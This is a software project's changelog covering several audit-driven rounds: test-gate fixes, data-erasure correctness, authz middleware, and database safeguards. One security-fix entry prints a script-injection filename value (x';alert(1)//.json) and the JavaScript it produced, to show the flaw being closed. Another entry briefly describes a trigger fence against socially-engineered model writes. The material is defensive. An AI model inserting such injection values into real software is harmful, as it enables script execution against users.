6plant BIND_PORT=abc → Ok(8765)boot-refusal pin fires
7restore .flatten()Ok(SweepReport { crew_rows: 0, .. }) where a refusal was required
8move the F8-03 gate after pool.get()ordering pin fires — a presence-only guard would have passed this

Red-proof #8 is the load-bearing one: keeping the gate but moving it one line down is exactly the “machine checks under-delivered” shape, and only the ordering assertion kills it.

Spire at ship

lib 2 325 passed / 0 failed / 2 ignored (baseline 2 319, +6); full suite green, 0 failed; crates/ green; harness green; cargo fmt --check clean; clippy clean on bench, default, otel, crates/ and all six feature lanes; lipstyk-gate 0 findings; badges.sh --selfcheck clean; env-truth.sh clean; docs-truth.sh LOW=17 (pre-existing, unmoved); check-doc-links.py clean (404 links); cargo audit clean (514 deps); shell gate 82 passed / 18 files including the drift gate, tsc --noEmit clean. main.rs 124≤300, router routes 258≥255, coverage 217≥214, authz rows 203≥200. The floor was NOT raised: CRATE_TEST_FLOOR is unchanged at 2 758 (measured 2 954 stripped — headroom 183 → 196; raw 2 970). Raw and stripped moved by the same +13, so this round contributed no fixture-string inflation — the raw−stripped gap is unchanged at 16 and belongs to the baseline. Zero new dependency edges: all Cargo.lock files byte-identical; src/authz/ 0 diff; openapi.yaml and shell/src/lib/api/schema.d.ts 0 diff this round, so no regeneration was owed; src/migration.rs 0 diff; no new OPENAPI_ROUTES/PUBLIC_PATHS row (WEBHOOK_PATHS is a new const of six). R69’s no_sql_in_handlers_enforced green.

One house gate fired on this round’s own code and was fixed at the root rather than waived: comments_never_reference_versions_plans_audit_ids rejected the finding labels in fifteen source comments (“drop the label, keep the invariant sentence”). Every comment kept its reasoning; provenance moved to the commit log and this note.

What this round does NOT ship

  • Not the write idempotency/receipt registry, and not the openapi ceiling note on every write route. The deadline-in-closure is the enforcement half; the receipt is a wire contract and a new table, and it is the next decision. Named residual: a write that starts within budget and is then killed mid-commit (process crash, not timeout) is still not covered — nothing in this round addresses crash-atomicity.
  • Not F8-03’s VACUUM half — R68 already closed it. Not re-fixed.
  • Not every DB-touching handler. The deadline lands on the named route plus the shared helper. Unreached: the ~50 other spawn_blocking write handlers in src/handlers/** (domains.rs ×5, ump.rs, workflow.rs ×5, recall.rs, observe.rs, ump_ops.rs ×2, …) still admit the abandoned-write window; the sweep is named, not silently skipped.
  • Not the audit’s proposed per-route openapi ceiling annotations.
  • Not K8-01…K8-07 (R71, a different repository, and K8-04 needs a decision).
  • Not R8-01/02/03, S8-11, L8-01/05/06/07, P8-01, K8-15 (R72).
  • Not any authz or runtime-authorization change.

Ceilings recorded, not hidden

  • F8-07’s normalisation is prefix-scoped by construction. ::/96 is refused through the v4 table, but a v4-mapped-and-compatible address under a different v6 embedding scheme would still need its own row; the transition families (NAT64, 6to4, Teredo) are denied wholesale, so the practical exposure is a bespoke prefix, not a standard one.
  • F8-04’s scanner cannot type-check. An identifier named like a request field is treated as one until proven otherwise; the only proof available is to route it through LogValue, which is never wrong, merely redundant.
  • F8-06’s matcher is segment-wise. It admits exactly one non-empty segment per {param}; a future wildcard route (/webhooks/{*rest}) would need a rule here.
  • F8-03’s window narrows; it does not close. The reserve is a fixed 5 s, so a write needing more than that refuses near the deadline rather than being attempted and abandoned.

No migration is added by R70, so there is no irreversible risk in this round.


Unreleased — R73 “Receipts”

Release notes

The register disagrees with the code. All ten F8-* dispositions in AUDIT.md still read OPEN — R68/R69/R70, naming the rounds that had already shipped them, while all ten are closed in code. The register lagged three releases: an auditor reading only AUDIT.md would have re-triaged ten fixed findings, and a new contributor would have re-fixed code that already works.

Two findings that the register could see but did not enforce are now enforced too: a filename gate that let a quote through directly above an eval, and a citation a green pin could not fail on.

No authz change, no new route, no wire change, no new dependency edge, no schema change (1.32.26 unchanged).

The register

Each F8-* row is now stamped with what the code does, verified by reading the fixing code rather than the commit subject. Six rows record where the audit was itself wrong, because that is part of the same defect:

RowThe audit saidMeasured
F8-04two unsanitised log siteseight
F8-06replace a prefix rulethat would have disabled all six webhooks — the three is_public_path call sites disagree on template vs concrete path
F8-07::/96 “not normalised”::169.254.169.254 was a live admission — the v4 table sat present and never consulted
F8-08“no migration needed”one was needed (proposed_chunk_id → promoted_chunk_id)
F8-09the arm is unreachablereachable — a BLOB survives TEXT affinity, so a shape pin would have been green before the fix
F8-03one findingtwo; the VACUUM half was already closed by R68

F8-02 is recorded as PARTIALLY CLOSED, and that is the point. The prose was corrected and the self-asserting pin replaced, but the oracle still does not read required_action and both dead DenyReason arms remain. The audit offered two remedies and neither was taken, by deliberate decision on second-opinion-surface grounds. A flat CLOSED would misrepresent a declined design decision as a fix.

S8-06 — a quote in a filename, sitting above an eval

safe_filename refused traversal, separators and control characters but let a single quote through, and the web arm spliced the result raw into a.download='{safe}'. Measured: safe_filename("x';alert(1)//.json") returned Some("x';alert(1)__.json") and the emitted script carried a.download='x';alert(1)//.json'; — the quote ends the literal and the rest lands in statement position.

Both halves were latent, not live, which is worth stating rather than overstating: all three call sites pass a literal or i64-derived name, and all three bodies are serde_json re-serialisations. It is one call-site edit from live.

The quote is refused, not escaped — a name the browser cannot accept as a download attribute is not a safe one — with an anti-always-refuse pin covering the real callers. The body moved from {body:?} to serde_json::to_string, the helper client/src/panels/mod.rs already uses for this job.

Corrected mid-round. The first pin asserted U+2028/U+2029 must not appear raw, on the premise they are invalid JS string content. They are not — ES2019’s JSON-superset proposal made them legal (verified in Node v24: parses to length 3), and serde_json emits them raw. The pin was red against its own fix. The hazard that does remain is the legacy octal escape: Debug writes NUL as \0, so \05 becomes U+0005 in JS.

L8-03 — a citation a green pin could not fail on

reg_watch.rs cited recital 38 — explanatory, conferring no obligation — as the basis for the 2026-12-02 horizon. The operative provision is Article 111(4).

The reason this mattered beyond a stale comment: the pin that looked like it guarded the constant cannot fail on a miscitation. It asserts the date, the provenance surface, and two date strings in the docs — it never read the comment. Proven: reverting only the comment leaves it green. The new pin reads the file’s own source, slices the comment to the constant, and asserts the operative cite is present, the recital is not stated as granting the period, and the provenance is recorded.

Provenance labelled, not laundered: no EUR-Lex fetch is reachable from a build and Context7 carries no AI Act coverage, so the article number is recorded audit-asserted, not source-verified — in the code, in the doc, and as an assertion. Only the citation’s kind was corrected; the date was independently confirmed and is unchanged.

Two more rows corrected

  • S8-09 was already closed and the audit read it backwards. The manual tag push sits inside the gh-MISSING refusal branch, followed by exit 1, and git blame shows the guard introduced it.
  • S8-06’s file:line was wrong (client/src/download.rs:35, not panels/mod.rs:66 — which is the remedy pattern), and S8-01/S8-06 were routed to a round that never owned them.
  • L8-02 closed as a claim: the well-known notice is an input the deployer builds the first-interaction disclosure from. No wire change — build_ai_notice keeps its seven fields, because a disclosure_timing field would not discharge the duty anyway.

A gate was itself wrong

Writing this round’s receipts introduced six new docs-truth MED findings — all for correctly prefixed citations like client/src/download.rs:35. scripts/docs-truth.py’s regex was `?src/(...): the optional backtick left no boundary before src/, so it matched the tail of client/src/…, discarded the client/ segment, and tested ROOT/src/download.rs. The diagnostic re-printed only the truncated path, which is why it looked like the citations were wrong. Fixed by requiring the backtick and capturing the whole path. Anti-vacuity: a probe doc with two genuinely non-existent paths still produces exactly two MED findings — the checker is more precise, not more permissive.

Spire at ship

lib 2 326 passed / 0 failed / 2 ignored; main_suite 339 passed / 0 failed / 1 ignored; client 245 passed; full suite green; crates/ green; harness green; cargo fmt --check clean; clippy clean on bench and client; badges.sh --selfcheck clean; env-truth.sh clean; docs-truth.sh LOW=17 (pre-existing, unmoved), MED 6 → 0; check-doc-links.py clean (405 links). Raw needle 2 974, stripped 2 958 (gap 16, unchanged). The floor was NOT raised: CRATE_TEST_FLOOR is unchanged at 2 758 (headroom 200). Zero new dependency edges: all Cargo.lock files byte-identical; src/authz/ 0 diff; openapi.yaml and shell/src/lib/api/schema.d.ts 0 diff; src/migration.rs 0 diff; schema 1.32.26.

Red-first. The S8-06 pins were proven red by reverting the production change (three of four; the pre-existing traversal test stayed green through the revert). The L8-03 pin was proven red by reverting only its comment — and the anti-vacuity control proved the finding, because the pre-existing pin stayed green on the miscitation. The register pin was proven by reverting the F8-10 row, which fires the per-id arm rather than an earlier assertion.

Four pins caught defects in this round’s own first draft: the U+2028 over-strict assertion; download_script becoming dead code on the host bin target; the register pin’s .find matching the first of seven identical table headers — with a rows.len() >= 30 floor that passed at both 73 and 38 rows, so it could not detect the very scope bug it existed to catch; and a status vocabulary with no word for K8-04, which is filed as a DECISION rather than a patch.

What this round does NOT ship

  • Not the fork’s K8-01…K8-15 or D8-01 (R71); K8-04 needs a decision, not a patch.
  • Not L8-05, L8-06’s refresh, or L8-07’s Aug half — all three need primary sources this environment cannot reach. Deferred, not closed.
  • Not L8-04 or L8-11 — external (a deployer identity; BIS/ECFR).
  • Not S8-01, S8-05, S8-07, D8-02 — genuinely open, genuinely out of this round’s theme, now re-routed with a reason.
  • Not F8-02’s enforcement; the decline is recorded, not reversed.
  • No migration is added, so there is no irreversible risk in this round.

Unreleased — R72 “Truth”

Release notes

A number nobody diffed against a measurement. The failure this repo’s own header documents as having occurred six times, found once more — in the gate that exists to catch it. Eight findings; three of the audit’s premises were wrong, which is the round’s first result. No authz change, no new route, no new dependency edge, no schema change (1.32.26 unchanged).

The finding that mattered: a green gate that could not fail

scripts/badges.sh --selfcheck was described as a drift guard. It was not: it grepped for the string "not selfcheck-verified" and nothing else, and the derivation function sat below the selfcheck path’s own exit 0, so the comparison was physically unreachable from that path.

Red-first, recorded. The README badge read 3 120 while the build derived 3 156. --selfcheck exited 0. A planted 999999 also passed. A control planted version drift (version-0.0.1) correctly failed — proving the exit path was live and that the missing count arm was the only defect, rather than a broken gate that fails for unrelated reasons.

Fixed by splitting the modes by cost, which is also the honest shape:

ModeCostWhat it does
--selfcheck~0.1 sversion↔README, UMP gate, checklist completeness, committed SBOM, and the badge block’s pointer to --verify-count. Does not compare the count, and says so.
--verify-count~4 min (one full cargo test)Compares the derived count against the README badge and exits non-zero on drift, naming both numbers.

The cheap path could not carry the compare: ci.yml and verification-sweep.sh both invoke it on every push, and a gate too slow to run is the same unenforced-convention defect a second time. --verify-count is wired into ci.yml’s lint-test job; the cost is one extra full compile there, measured and stated in the step’s comment.

A second defect surfaced while fixing the first. The disclaimer arm was a whole-file grep, satisfied by a sentence 28 lines below the badge — so the badge could be arbitrarily wrong while the guard stayed green. It is now scoped to the badge’s own block, and the disclaimer was moved next to the badge it describes. Proven non-vacuous: the same bytes relocated to a distant paragraph still satisfy the old grep and now fail the guard.

The gate then caught this round’s own first re-baseline. The badge was re-pasted as 3 157 from a run in which the docs_truth badge pin was still failing, and therefore counted as failed rather than passed. Fixing it added exactly one test; the derive said 3 158 and --verify-count refused the badge. Corrected, then re-verified.

The other seven findings

  • S8-11 — the lockfile claim. “All three Cargo.lock files” was false, and the audit’s replacement number (eight) is also wrong: there are 8 on disk / 7 tracked, because fuzz/Cargo.lock is gitignored. Eight is a working-tree figure a CI checkout never sees. The three historical rows now say “all tracked”.
  • R8-02 — one dead reference, not two, and the audit’s stated reason was also wrong (check-doc-links.py does walk docs/; the reference was invisible because it was bare backtick text, not a ](…) link). Repointed to the private archive by prose — deliberately not a markdown link, which would newly expose it to a checker that cannot resolve a private path.
  • L8-01 (HIGH) — the CT CART general duties (Oct 1 2026) had passed and were still filed under “Scheduled”. Corrected, with the scope stated in the file: the date arithmetic is provable from the repo, the statute text is not.
  • L8-06 — the map’s quarterly refresh. The audit’s framing was too strong: quarterly from 2026-09-14 is not due until 2026-12-14. The map now discloses that the pass has not run and why, and the status date is deliberately not re-stamped — bumping it would claim a verification that never happened.
  • L8-07 — the OWASP Agentic date reconciled to 2025-12-09 across two files, labelled a repo-internal reconciliation rather than a publisher-verified fact.
  • R8-01 — the hand-typed count in AGENTS.md is gone; the line now names --verify-count and carries no number, so it cannot go stale unremarked.
  • P8-01 — premise refuted: four in-repo fixture lanes, not two. client/ consumes the canonical fixture cross-tree and runs in CI. The real residual — the plugin’s lane runs in no workflow here, and cannot, because plugin/package.json has no scripts block and depends on workspace:* — is recorded as R71’s.

Spire at ship

lib 2 325 passed / 0 failed / 2 ignored (baseline 2 325, +2 — the two new pins are in main_suite); full suite green; crates/ green; harness green; cargo fmt --check clean; clippy clean on bench; badges.sh --selfcheck clean; env-truth.sh clean; docs-truth.sh LOW=17 (pre-existing, unmoved); check-doc-links.py clean (404 links); cargo audit clean across 8 lockfiles. Raw needle 2 972, stripped 2 956 (raw−stripped gap unchanged at 16). CRATE_TEST_FLOOR unchanged at 2 758. Zero new dependency edges: all Cargo.lock files byte-identical; src/authz/ 0 diff; src/migration.rs 0 diff; schema 1.32.26.

What this round does NOT ship

  • Not L8-05 — the two federal EOs. Unverifiable from this environment: the EOs appear only in the register that cites them, and Context7 carries no federal EO coverage. Writing them would be an unsupported legal claim about a live instrument.
  • Not L8-06’s quarterly refresh — an external act (NCSL + legislature pages).
  • Not L8-07’s Aug 3/4 correction — seven repo sources carry 2026-08-04 backed by a DOI and a prior live fetch, against one unsourced audit claim.
  • Not a CI job for the plugin’s fixture lane — workspace:* cannot resolve outside the openclaw workspace. That lane is R71’s.
  • Not L8-02 (re-scoped out of this round) and not S8-09 (open; the release gate’s documentary manual-tag escape is a separate decision).
  • No authz or runtime-authorization change. No migration. No irreversible risk in this round.

Unreleased — R69 “Erasure”

Release notes

A compliance certificate can certify an erasure that did not happen. The DSAR erasure now reaches the approved proposals behind the memories it deletes.

F8-08 (HIGH, drill-proven) from docs/audit8/. The hazard was named in the code that failed to close it: the erasure’s only reach into proposals was DELETE … WHERE content LIKE '%subject%', and a proposal’s text almost never contains its owner’s identity, so the approved proposal’s full plaintext (possibly PII about the subject) survived a certificate reading completed.

The §9.3 plan’s prescribed fix was IMPOSSIBLE as written, and the tree won. The plan said “carry the approved chunk ids the erasure just deleted and delete their proposals by id IN (…) — the proposal that produced a memory is reachable from the memory”. Reproduced by hand at 1c00c83a, no such id exists: knowledge carries no proposal ref (base CREATE TABLE plus every ALTER TABLE knowledge ADD COLUMN); neither promote_chunk_insert nor kcs_draft_insert binds one; cas_proposal_approved records none; there is no linking table; and the two tables share no hash column (proposals has no content_hash). Option (a), the audit chain, was measured closed first: audit_events stores only SHA-256 digests and a hash is not reversible.

Fixed

  • proposals.promoted_chunk_id INTEGER (schema 1.32.25 → 1.32.26): one additive, NULLable, pragma_table_info-guarded column — the proposal→chunk correspondence is now recorded where it is created, at approve time. knowledge gains nothing, so every FK-children map of the knowledge parent delete stays accurate. NULL means the approval promoted nothing.
  • record_promoted_chunk writes the edge beside the shared decision CAS, as a SEPARATE write rather than a new CAS parameter: cas_proposal_approved has seven call sites and four of them promote nothing, so a NULL edge is the correct recorded state there. Wired into the two arms that actually create a memory — the generic promote, and the KCS draft (which deliberately records no edge for KIND_LINK_ONLY, which reuses an existing article).
  • purge_promoted_proposals erases those proposals by id, inside the caller’s transaction, after the knowledge purge so it walks the chunks genuinely deleted. A failure rolls the proposals delete back with the memory delete and the ledger row: no certificate is ever issued over a partial erasure. The content LIKE arm is kept, not replaced — removing it would reduce coverage for subjects whose text genuinely appears in a proposal.
  • The IN-list is chunked at 900, below a measured ceiling: this crate’s bundled SQLite prepares 32,766 bound parameters and refuses 32,767 with “too many SQL variables” (measured, then deleted the probe). An unbounded id IN (…) against a large purge would fail the erasure at the worst possible moment.
  • Red-first, and red twice. The §3 pin failed before the fix (left: 1, right: 0 — the proposal still present), and the red-proof was re-run on the finished fixture by disabling the arm, which failed identically.
  • Six further tests, each proven able to fail (§4.4): regression, positive (the content LIKE arm survives), two negatives, chunking, idempotence, and atomicity (a poisoned trigger proves both halves roll back and no ledger row is written). Four mutants were planted and all four were killed — wrong column, chunking removed, swallowed delete error, arm disabled. Two of the tests could not fail under the first mutant run and were rewritten: their fixtures did not collide ids, so an arm keyed on the wrong column passed them. Deleted-and-redone is the honest outcome, not deleted.

Ceilings recorded, not hidden

  • The migration is this round’s one irreversible change. Additive and NULLable, so a revert leaves the column orphaned (harmless — NULL means “no recorded edge”) and touches no existing column’s value. Schema 1.32.26; the refuse-newer probe moved to 1.32.27, and the seven coupled ceiling pins moved with it, each naming the round that moved it.
  • Historical approved proposals keep a NULL edge and are NOT retro-linked. A proposal approved before this release promoted a memory that may be purged tomorrow, and the correspondence was never stored — so the erasure reaches it only if the subject’s string appears in its body. This is the largest residual and it is not backfilled: inferring the edge from content would be the substring match the round exists to stop trusting.
  • No certificate wire field. The count is reported via tracing, not added to the certificate JSON — shell/src/lib/api/schema.d.ts is already stale against openapi.yaml (§6.1), and a certificate field nothing consumes is a field no one verifies.
  • audit_events still cannot answer this. The edge is on the row, not the chain; a future proposal-erasure surface that wanted the chain to carry it would need a different design.

What this round does NOT ship

  • Not the §9.3 fix as specified — it is impossible (§0 of the prompt, six measurements). The substitution and its reason are recorded above.
  • Not F8-09, F8-03/04/06/07/10 (R70); not K8-* (R71, the openclaw fork repo); not R8-01/02/03, S8-11, L8-01/05/06/07, P8-01, K8-15 (R72).
  • Not any authz or runtime-authorization change: git diff src/authz/ is empty.
  • Not an owner column on proposals — declined by the audit, and the correspondence belongs on the proposal→chunk edge.

Validation. Lib 2 319 passed / 0 failed / 2 ignored (baseline 2 310, +9 new #[test]); main_suite 329; crates/ 308; harness 44; default-features all-targets 3 144; clippy clean on bench, default, otel, crates/, and all six feature lanes; cargo fmt --check clean; lipstyk 0 findings; badges.sh --selfcheck clean; env-truth.sh clean; docs-truth.sh LOW=17 (pre-existing, unchanged); check-doc-links.py clean (404 links); cargo audit clean over 514 dependencies; shell 82/82 across 18 files. Zero new dependency edges — all Cargo.lock files byte-identical; route_guards.rs and src/authz/ diff-empty; CRATE_TEST_FLOOR unchanged at 2 758 (measured 2 941 stripped, headroom 137 → 183). R68’s no_sql_in_handlers_enforced still green. After the three gap fixes the whole suite is green: 3 133 passed / 0 failed, and three consecutive full-lib runs were clean.**

Known pre-existing, NOT fixed here. tests/no_engagement_name.rs fails — re-verified at the baseline this round by stashing the whole diff and re-running it there, where it fails identically. It is the only red in the suite and it is not R69’s. One intermittent flake surfaced during validation and is not R69’s either: handlers::webhooks::inbound_signal_becomes_screened_ steering sets a process-global env var (BRAIN_SIGNAL_WEBHOOK_SECRET_FILE) without taking an env lock, so it raced once and passed on three subsequent full-suite runs; R69’s diff does not touch that file.

Follow-up, shipped in the same line — three gaps closed. (1) The suite’s only red was not a leak. tests/no_engagement_name.rs scans git-TRACKED files and was flagging itself, on the two NAMES literals it must hold to police the vocabulary. The control could never pass, which made it permanently unreadable as “pre-existing noise” — the same failure mode this programme keeps naming. Fixed by naming the pin’s own file in ALLOWED_FILES (a listed exception, never a blanket skip) plus an anti-vacuity assertion that fails if the vocabulary ever leaves the file, so the exemption cannot rot into a silent pass. Proven non-vacuous: planting the name in src/storage_layout.rs fails it. (2) The intermittent flake is closed by a fence, and the fence is proven the only way: the natural race fired ~1 run in several, which is not evidence, so two deterministic red-proof tests were added. Measured 20/20 green with the fence and 20/20 red with it bypassed, and the bypassed mutant still passes the original signal test. It is a tokio::sync::Mutex, not std::sync::Mutex, because the guard is held across .await (clippy’s await_holding_lock correctly refuses the std form) — and it is non-reentrant and FIFO, which an early version learned the hard way by acquiring it twice and deadlocking. (3) shell/src/lib/api/schema.d.ts drift is closed, and it was hiding a real openapi.yaml defect. The gate’s failure was a broken local pnpm shim pointing at a deleted version directory, so the gate had been failing for the WRONG reason and never compared a byte. With a working pnpm it found 9 lines of genuine drift from two earlier rounds, and behind that a duplicate operationId: verifyClaim shared by POST /verify and POST /workflow/claims/{id}/verify — which made openapi-typescript refuse the whole contract and broke registry-contract.test.ts outright. Fixed at the source: the duplicate renamed to verifyClaimGate (the later, narrower claims route, matching its sibling promoteClaim; no consumer referenced the name, and the typed client keys by PATH not operationId), then schema.d.ts regenerated and the gate red-proofed (mutating the committed file fails it, restoring passes). This is the one openapi.yaml change in this line and it is disclosed, not incidental — it is a contract-hygiene fix, not a route change; no route, guard-table row, or wire field was added.

§0 note — the prompt’s baseline was stale and was re-verified rather than carried. The prompt pins schema 1.32.24; measured at 1c00c83a it is 1.32.25 (the model-citation-key round moved it after the prompt was written). Every §1 figure was re-measured and all matched: floors 2 758 / 255 / 214 / 200, 52 handler files, 8 router files, stripped needle 2 934, raw needle 2 954. The prompt’s is_newer_than_known(Some("1.32.26")) probe was likewise already in the tree, i.e. the prompt was written against the 1.32.24 ceiling and the tree had moved twice.

Unreleased — R68 “Silence”

Release notes

The machine checks under-delivered. Three guards/pins passed while their subject was violated, or asserted a property they could not fail.

F8-01 (HIGH), F8-02 (HIGH), F8-05 (MEDIUM) from docs/audit8/. No runtime authorization behaviour changes — the authz half is prose and pins only, and src/authz/policy.rs is diff-empty.

Fixed

  • no_sql_in_handlers_enforced now runs a second, STRUCTURAL counter. The keyword counter recognised exactly four statement openers (select / insert / update / delete … from) and was blind to PRAGMA, VACUUM, BEGIN/COMMIT/ROLLBACK, REPLACE INTO, and the entire rusqlite method surface — while ten production violations were live under src/handlers/ and the guard reported ok. The new counter matches CALL SHAPES (Connection::open(, .execute_batch(, .query_row(, …), which is what makes it see those shapes without false-firing on h.update( / policy.insert(. A keyword extension would have false-fired 15 times per run (measured) — the wrong instrument.
  • All ten sites migrated into service cores: the per-domain census open (domains_admin::file_domain_counts_at), the post-delete VACUUM — which also stops discarding its error with let _ =, forbidden by the fail-closed law — the UMP consent-denial audit open (ump_ops:: record_forbidden_scope_at_db), the snapshot probe (new core), and shifts’ hand-rolled transaction.
  • shifts transaction: three defects closed at once. The hand-rolled BEGIN IMMEDIATE / COMMIT / ROLLBACK became the RAII WorkflowTx, which discards the ROLLBACK error, returns an open transaction to the pool when a panic unwinds past the rollback, and bypasses note_busy_error contention telemetry.
  • The snapshot probe now opens READ-ONLY. Connection::open does not set SQLITE_OPEN_READ_ONLY, so a surface whose own doc comment said “Read-only — it never creates or mutates a snapshot” was opening every .bak read-write. It is now SQLITE_OPEN_READ_ONLY | SQLITE_OPEN_URI, and a probe can no longer alter the evidence it reports on. Measured: the PRAGMA integrity_check works on the read-only handle, so the rollback contingency in the round’s §9 was not needed.
  • CRATE_TEST_FLOOR is no longer gameable. Ten #[test] written inside a doc comment satisfied the floor; the needle now strips comments first. Red-proof: a planted 10-attribute doc comment moved the raw needle by +11 and the stripped needle by +0. The floor is NOT re-baselined (still 2 758) — 137 units of real headroom survived, so raising it would have spent the guard’s budget on a measurement.
  • The authz middleware’s prose is now true. It claimed three enforced properties; two were unreachable in production (the agent-class arm was deliberately removed — see policy.rs:205-220; the deny-only capability arm is dead because the sole production constructor hardcodes required_capability: ""). The opposite-direction overclaim is corrected too: the authz matrix pins handler-side agreement, it does not make the oracle enforce the action.
  • The self-asserting authz pin is replaced. r47_gate_rows_read_their_ declared_action used gate_for as its own oracle, so it proved the action column survives the parse and could not fail if enforcement was never wired. It now reads its expectation from the AUTHZ_GATES table literal.

Ceilings recorded, not hidden

  • DenyReason::MethodNotPermitted and CapabilityDenyOnly are unreachable in production (gates.rs:163 MethodPolicy::Any, :167 required_capability: ""). They are now machine-pinned as ceilings: a future constructor that populates either field fails a pin, so the note cannot go stale silently.
  • /ops/authz/explain reports required_action next to a verdict the action never influenced. The endpoint does not disclose this. Deferred — the shell’s schema.d.ts is already stale against openapi.yaml, and touching the contract now would entangle two unrelated drifts.
  • #[cfg(test)] handler regions are exempt from the structural counter only. Test fixtures legitimately open in-memory databases and there is no shared test-DB helper in src/ to migrate them to (measured: pub test_db / test_conn return zero matches), so that migration is a design decision, not a mechanical move. Test regions remain held to the keyword counter.
  • The comment stripper removes COMMENTS, not string contents: a #[test] inside a string literal still counts. The round’s own fixture pins carry those literals, which is why the measured count rose +39 while only 10 real test attributes were added — a ceiling, disclosed rather than absorbed by re-baselining.

Not shipped: the /ops/authz/explain disclosure field; end-to-end pins for the two unreachable deny reasons; ROUTER_SITES_FLOOR hardening; the 16 cfg(test) handler sites; any change to runtime authorization; F8-08 (erasure, the highest-severity item still open); F8-03/04/06/07/09/10; K8-; R8-01/02/03, S8-11, L8-, P8-01, K8-15.

Pre-existing, not fixed here: tests/no_engagement_name.rs fails at the baseline commit — proven by running it in a pristine worktree of d11326c5, where it fails identically. shell/src/lib/api/schema.d.ts is stale against openapi.yaml (drift gate already red before this round).

Unreleased — R50 “Create”

Release notes

The first loop that authors knowledge — shipped inert.

Five phase cores, a typed claim record, a four-trigger database fence, and six routes. No claim reaches durable state. The promotion route exists, is authorized, is audited, and returns promotion_disabled in every configuration for every actor. The switch is a compile-time constant with no environment variable and no flag behind it, because the decision to enable promotion belongs to a named owner against a published measurement, not to a runtime preference.

Added

  • claim_schemas — a human-authored slot schema. Only a human principal may write one and a self-authored schema is refused at admission, not warned about. The stored author string is mapped from the typed principal kind inside the service core, so no request body can name its own author.
  • claims — a typed tuple against a ratified schema, so a free-text proposal cannot mint one. Carries a pre-computed digest of its own public id, because SQLite cannot hash a column and the fence needs a real predicate.
  • claim_evidence — byte-range citations, resolved over admitted bytes by the workspace evidence crate and never by a live substring match.
  • claim_batches — the set-level verdict that withholds a whole ratified batch’s recall visibility.
  • The gate (src/workflow/create/verify.rs) — six deterministic checks in a fixed order, each a pure function over rows: shape, bounds, referential, citation resolvability, contradiction, premise discipline. No model, no score, no threshold, no judgement tie-break. Repairs additionally require an independent-support floor, because the agent that notices an error fixes it wrongly more often than it fixes it right.
  • The corpus — twelve planted adversarial claims as compiled data, each naming its attack class and the control that stops it. Two of the twelve target cleanup of what already landed rather than admission, because the residue operators leave behind is a separate failure surface and a corpus that only tested entry would have called itself complete.
  • Six routes — /workflow/claim-schemas, /workflow/claims (POST and the gated GET), /workflow/claims/{id}, .../verify, .../promote.
  • docs/create-loop.md — the operator record, including the four things the loop does not claim.

The four non-claims, stated in the docs in those words

  1. The out-of-sample false-promotion rate is not yet measured. No long-run figure has been published for a deterministic gate by anyone.
  2. The promotion route is disabled, in every configuration.
  3. Gap generation has no reliable published detection method — the loop generates rather than detects because the techniques that exist are unsafe as detectors.
  4. The set-level control has no published prior art and is a declared approximation: it catches declared predicate interactions and not arbitrary semantic composition.

The database fence, and its stated ceiling

Recall visibility is protected by four BEFORE UPDATE triggers in the schema, not by an application guard — a guard sits behind the same API the model talks to, so a socially-engineered write walks past it. The fence keys on application-set strings, so it defends a compromised model path and not host compromise: that is the same boundary this repository already draws for the audit chain, where the signing key and the verification pin share the host.

Schema

  • Additive only, stamp 1.32.19: four new tables. No column dropped, no table rebuilt — a rebuild is the one operation that can lose rows under a crash. The gated read model is a query, never a view, and a standing pin keeps it that way.

Dependencies

  • One new WORKSPACE PATH edge — the workspace evidence crate, which the gate calls and does not reimplement. Zero new registry edges: the lockfile block carries neither a source nor a checksum, so cargo audit over the root lockfile sees exactly what it saw before. This edge was previously forbidden by a shipped pin whose own message named this round as the one to add it; the pin is amended rather than deleted, and a registry edge is still refused. jsonschema and schemars remain declined: the schema is typed Rust plus SQL CHECK constraints, because a JSON Schema document is a syntax contract and cannot express the disjointness the contradiction arithmetic depends on.

Unreleased — R48 “Cleancycle”

Release notes

Security fixes

  • The server now refuses to start on a volume that cannot do write-ahead logging. PRAGMA journal_mode=WAL does not fail when it cannot be applied — SQLite returns the prior mode and the statement succeeds — and the pragma was issued inside an execute_batch that reports success in exactly that case. The only assertion on the mode in the whole tree lived inside a test module, so a test proved the code worked and nothing made the server refuse anything. A site on a network filesystem would have booted, run, and silently downgraded the durability that brain standby and brain shred are both built around. The boot now reads the mode back and refuses, naming the cause and the remedy.
  • New Linux install path, hardened to match the measured Compose posture: a systemd unit (NoNewPrivileges, PrivateTmp, ProtectSystem=strict with one ReadWritePaths, all capabilities dropped and none added back), install.sh that refuses to overwrite an existing store, uninstall.sh that never removes the data, and a morning clean-cycle-check.sh.
  • The morning check verifies before serving — integrity_check, the audit chain, and whether the last shutdown was clean — so a killed process is reported at 08:00 rather than discovered three weeks later.
  • The stop is surgical. A pkill -f '<db path>' matches nothing, because BRAIN_DB_PATH lives in the environment and not in argv; the reference install shipped exactly that bug and reported a clean stop while the process kept running. install.sh matches an absolute binary path.
  • brain standby ship runs exactly one cycle and exits with its status. standby start is an infinite loop that returns only after three consecutive failures, so nothing scheduled could run it.

Corrections to the record

  • Both published baseline timings were artifacts of the measuring scripts: a “12.1 s” stop was a fixed sleep 12 in the measuring script, and a “1,056 ms” boot came from a sleep 1 poll loop. Re-measured: 31–65 ms stop, 344–349 ms boot, and a wal_checkpoint(TRUNCATE) of 0.2 ms on a 14 MB store. The state fingerprint was byte-identical throughout; only the timings were wrong.
  • The severity beneath them was also wrong: a truncated shutdown checkpoint does not lose rows (SQLite replays the WAL on the next open). It costs recovery latency and WAL growth.

Disclosed non-claims

  • The clean-cycle drill proves the clean path. A power cut is a different event, covered today only by the clean-shutdown stamp. Nothing pulled a plug.
  • The systemd unit was never started under systemd on the drill host.
  • Split-brain protection is deferred — the lease is designed, not built. Do not run two active instances.
  • No Helm chart. The earlier one used a primitive Kubernetes’ own docs document as a failure mode; the corrected shape is recorded in docs/deployment-reference-architecture.md.
  • No compliance claim. The runbooks state what the code does and what RA 10173 says; scope is for an assessor and, in the Philippines, for counsel.

Unreleased — R47 “Ledgerhead”

Release notes

Security fixes

  • The route gate table is now a runtime policy, not a test fixture. A new authz module ships a closed, deterministic, pure (Principal?, Gate, Method) -> Verdict oracle (Allow / Defer(reason) / Deny(reason)) and a route_layer middleware that runs it on every matched, non-exempt route. The concrete win is coverage: a matched, non-public route with no row in the AUTHZ_GATES table is now refused (route_ungated) by the running server, where before it was only a test assertion. The middleware is unconditional — no flag, no env var, no feature — and is applied as a route_layer so unmatched paths keep their probe-blind 404s.
  • Every refusal writes one hash-chained audit_events row carrying the closed reason, the method, the matched route pattern, the mask_sub-hashed subject and the tenant. The row never records what another principal could have done.
